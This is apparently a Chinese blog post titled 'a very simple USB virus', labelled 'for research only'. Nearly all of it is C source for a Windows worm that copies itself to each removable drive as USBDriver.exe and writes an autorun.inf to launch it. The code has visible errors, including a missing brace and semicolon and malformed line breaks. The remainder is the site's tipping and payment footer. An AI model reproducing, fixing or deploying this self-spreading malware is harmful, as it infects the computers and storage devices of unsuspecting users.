一个很简单的U盘病毒

dmyww123@  以下代码 仅供研究:
  1. #include <windows.h> 
  2. #include <stdio.h> 
  3. #include <string.h>   
  4. #include <wininet.h>
  5. char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:"}; 
  6. char Path[MAX_PATH];
  7. DWORD WINAPI spreadUSB() 
  8.     HANDLE hFile;
  9.     DWORD dwNum;
  10.     while(1) 
  11.     { 
  12.         Sleep(10*1000); 
  13.         for(int i = 0;i < 10;i++)       
  14.         { 
  15.             if((GetDriveType(drives[i])) == DRIVE_REMOVABLE) //判定驱动类型是否为可移动类型
  16.             { 
  17.                 int e;
  18.                 char szUsbPath[50]; 
  19.                 const char * szUsbFileName = "//USBDriver.exe"
  20.                 const char szAutoRun[] = "[autorun]/r/naction=打开文件夹查看文件/r/nshellexecute=USBDriver.exe";
  21.                 
  22.                 strcpy(szUsbPath,drives[i]);
  23.                 strcat(szUsbPath,szUsbFileName);
  24.                     e = ::GetLastError();
  25.                 if(CopyFile(Path,szUsbPath,FALSE) == NULL)
  26.                     e = ::GetLastError();
  27.                 //SetFileAttributes(szUsbPath, FILE_ATTRIBUTE_SYSTEM);
  28.                 strcpy(szUsbPath,drives[i]);
  29.                 strcat(szUsbPath,"//autorun.inf");
  30.                 hFile = CreateFile(szUsbPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  31.             
  32.                 if( hFile != INVALID_HANDLE_VALUE )
  33.                 {
  34.                     e = ::GetLastError();
  35.                     e = WriteFile(hFile,szAutoRun,sizeof(szAutoRun),&dwNum,NULL);
  36.                     e = ::GetLastError();                   
  37.                 }           
  38.                 else
  39.                 {
  40.                     e = ::GetLastError();
  41.                 }
  42.                 CloseHandle(hFile);
  43.             } 
  44.         } 
  45.     } 
  46.     return 1;
  47. }
  48. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
  49. {   
  50.     ::GetModuleFileName(NULL,Path,MAX_PATH);
  51.     //string strPath = new string(Path,strlen(Path)+1);
  52.     //MessageBox(strPath);
  53.     spreadUSB();
  54.     return 0;
  55. }
  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值